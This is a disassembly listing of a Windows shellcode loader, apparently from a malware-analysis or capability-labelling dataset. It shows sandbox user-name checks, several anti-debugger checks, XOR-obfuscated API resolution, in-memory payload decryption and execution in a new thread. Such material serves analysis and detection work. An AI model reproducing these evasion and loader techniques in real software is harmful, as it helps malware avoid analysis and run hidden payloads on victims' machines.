Function at 0x140004620
Capabilities:
Check for debugger via api
Encode data using xor
Get session user name
Link many functions at runtime

Disassembly:
push rbp
lea rbp, [rsp - 0x480]
sub rsp, 0x580
lea rdx, [rbp + 0x490]
mov dword [rbp + 0x490], 0x101
lea rcx, [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x140004760
lea rcx, [rbp - 0x80]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.AZURE
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
jne 0x140004755
lea rdx, str.BRUNO
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
jne 0x140004755
lea rdx, str.ABBY
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
jne 0x140004755
lea rdx, [0x14002e5b0]
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
jne 0x140004755
lea rdx, str.OQXZRAKYM
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
jne 0x140004755
lea rdx, str.RDHJ0CNFEVZX
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
jne 0x140004755
lea rdx, str.JOHN
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
jne 0x140004755
lea rdx, str.EMMACR
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
jne 0x140004755
lea rdx, str.JUILSIM
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
jne 0x140004755
lea rdx, str.ANNA
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
jne 0x140004755
lea rdx, str.DARREL
lea rcx, [rbp - 0x80]
call fcn.14000d84c
test rax, rax
je 0x140004760
xor eax, eax
add rsp, 0x580
pop rbp
ret
mov qword [rsp + 0x570], r12
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140005078
xor r12d, r12d
mov dword [rbp + 0x490], r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rbp + 0x490], r12d
jne 0x140005078
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x4d0
call fcn.14002c900
mov dword [rbp - 0x50], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000481b
cmp qword [rbp - 0x38], r12
jne 0x1400047ea
cmp qword [rbp - 0x30], r12
jne 0x1400047ea
cmp qword [rbp - 0x28], r12
jne 0x1400047ea
cmp qword [rbp - 0x20], r12
je 0x14000481b
lea rdx, str.Advanced_debugger_check_detected__Exiting...
lea rcx, [0x140040740]
call fcn.140005180
mov rcx, rax
call fcn.140006180
mov r12, qword [rsp + 0x570]
mov eax, 1
add rsp, 0x580
pop rbp
ret
call fcn.140001330
test al, al
jne 0x140005093
mov eax, dword [0x14002ecd0]
mov r8d, r12d
movsd xmm0, qword [str.nPHOIR____D]
mov qword [rsp + 0x5a8], rsi
mov qword [rsp + 0x578], rdi
mov edi, dword [0x14003f040]
mov qword [rsp + 0x568], r14
mov dword [rsp + 0x53], eax
movzx eax, byte [0x14002ecd4]
mov qword [rsp + 0x560], r15
movaps xmmword [rsp + 0x550], xmm6
movdqa xmm6, xmmword [0x14002ee20]
movsd qword [rsp + 0x4b], xmm0
mov byte [rsp + 0x57], al
cmp edi, 2
jl 0x14000496b
movdqa xmm2, xmmword [0x14002edf0]
mov r8d, 8
movdqa xmm3, xmmword [0x14002ee40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14002ee10]
psubd xmm2, xmm0
movd xmm0, dword [str.nPHOIR____D]
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14002ee30]
xorps xmm2, xmm0
movd dword [rsp + 0x4b], xmm2
movdqa xmm2, xmmword [0x14002ee00]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14002ee10]
psubd xmm2, xmm0
movd xmm0, dword [rsp + 0x4f]
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14002ee30]
xorps xmm2, xmm0
movd dword [rsp + 0x4f], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x4b]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140004980
lea rcx, [0x14002e4c0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x4b]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14002ece0]
mov rsi, rax
movsd xmm0, qword [str.nPHOIRo2.61F]
mov r8d, r12d
mov dword [rsp + 0x60], ecx
movzx ecx, word [0x14002ece4]
mov word [rsp + 0x64], cx
movzx ecx, byte [0x14002ece6]
mov byte [rsp + 0x66], cl
movsd qword [rsp + 0x58], xmm0
cmp edi, 2
jl 0x140004aee
movdqa xmm3, xmmword [0x14002edf0]
mov r8d, 8
movdqa xmm2, xmmword [0x14002ee00]
movdqa xmm1, xmm3
movdqa xmm4, xmmword [0x14002ee40]
movdqa xmm0, xmm3
mov eax, dword [0x14002ee30]
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmmword [0x14002ee10]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmm6
pmuldq xmm1, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.nPHOIRo2.61F]
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movd dword [rsp + 0x58], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x5c]
pmulld xmm0, xmmword [0x14002ee10]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x58]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140004b00
lea rcx, [0x14002e4d0]
mov qword [rsp + 0x5a0], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x14002ecf5], r12b
mov r15, rax
mov ecx, dword [0x14002ecf0]
movsd xmm0, qword [str.jMVvSK_r___1E]
mov dword [rsp + 0x45], ecx
movzx ecx, word [0x14002ecf4]
mov word [rsp + 0x49], cx
movsd qword [rsp + 0x3d], xmm0
je 0x140004cf6
mov r8d, r12d
cmp edi, 2
jl 0x140004c78
movdqa xmm3, xmmword [0x14002edf0]
mov r8d, 8
movdqa xmm2, xmmword [0x14002ee00]
movdqa xmm1, xmm3
movdqa xmm4, xmmword [0x14002ee40]
movdqa xmm0, xmm3
mov eax, dword [0x14002ee30]
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmmword [0x14002ee10]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmm6
pmuldq xmm1, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.jMVvSK_r___1E]
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movd dword [rsp + 0x3d], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x41]
pmulld xmm0, xmmword [0x14002ee10]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x41], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x3d]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140004c90
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x3d]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov eax, dword [0x14002ed00]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x14002ed04]
mov byte [rsp + 0x3c], al
jmp 0x140004d29
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x3d]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14002ed00]
mov rbx, rax
mov dword [rsp + 0x38], ecx
movzx ecx, byte [0x14002ed04]
mov byte [rsp + 0x3c], cl
movsd xmm0, qword [str.K_ZHXjW2_D]
mov r8d, r12d
movsd qword [rsp + 0x30], xmm0
cmp edi, 2
jl 0x140004e27
movdqa xmm3, xmmword [0x14002edf0]
mov r8d, 8
movdqa xmm2, xmmword [0x14002ee00]
movdqa xmm1, xmm3
movdqa xmm4, xmmword [0x14002ee40]
movdqa xmm0, xmm3
mov eax, dword [0x14002ee30]
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmmword [0x14002ee10]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmm6
pmuldq xmm1, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.K_ZHXjW2_D]
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movd dword [rsp + 0x30], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmmword [0x14002ee10]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movaps xmm6, xmmword [rsp + 0x550]
lea r9, [rsp + 0x30]
movsxd rax, r8d
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140004e40
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rsi, rsi
je 0x140005056
test r15, r15
je 0x140005056
test rbx, rbx
je 0x140005056
test rax, rax
je 0x140005056
movups xmm0, xmmword [str.veryASDJK123FN123FN1PAB]
mov edx, dword [0x14003f008]
xor ecx, ecx
mov r9d, 4
mov dword [rbp + 0x498], r12d
movups xmmword [rsp + 0x68], xmm0
mov r8d, 0x3000
movsd xmm0, qword [0x14002e538]
movsd qword [rsp + 0x78], xmm0
call rsi
lea rdx, str.calc_payload_addr_:_0x
mov rdi, rax
lea rcx, [0x140040620]
call fcn.140005180
lea rsi, str.__T__B
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rdx, rsi
mov rcx, rax
call fcn.140006f50
mov rcx, rax
call fcn.140006180
lea rdx, str.exec_mem_addr_____:_0x
lea rcx, [0x140040620]
call fcn.140005180
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rdx, rdi
mov rcx, rax
call fcn.140006f50
mov rcx, rax
call fcn.140006180
mov r8d, dword [0x14003f008]
mov rax, r12
mov r9, r12
test r8, r8
je 0x140004fb0
nop dword [rax]
nop dword [rax + rax]
cmp rax, 0x17
mov rcx, r12
cmovne rcx, rax
movzx eax, byte [rsp + rcx + 0x68]
xor byte [r9 + rsi], al
inc r9
lea rax, [rcx + 1]
cmp r9, r8
jb 0x140004f90
mov rdx, rsi
mov rcx, rdi
call rbx
mov edx, dword [0x14003f008]
lea r9, [rbp + 0x498]
mov r8d, 0x20
mov rcx, rdi
call r15
lea rdx, str._nHit_me__n
mov ebx, eax
lea rcx, [0x140040620]
call fcn.140005180
lea rcx, [0x140040580]
call fcn.140009620
test ebx, ebx
je 0x14000501b
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call r14
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rbx, qword [rsp + 0x5a0]
mov r14, qword [rsp + 0x568]
mov rdi, qword [rsp + 0x578]
mov rsi, qword [rsp + 0x5a8]
mov r15, qword [rsp + 0x560]
mov r12, qword [rsp + 0x570]
add rsp, 0x580
pop rbp
ret
lea rdx, str.Failed_to_resolve_function_addresses.
lea rcx, [0x140040740]
call fcn.140005180
mov rcx, rax
call fcn.140006180
mov eax, 1
jmp 0x14000501d
lea rdx, str.Basic_debugger_check_detected__Exiting...
lea rcx, [0x140040740]
call fcn.140005180
mov rcx, rax
call fcn.140006180
mov r12, qword [rsp + 0x570]
mov eax, 1
add rsp, 0x580
pop rbp
ret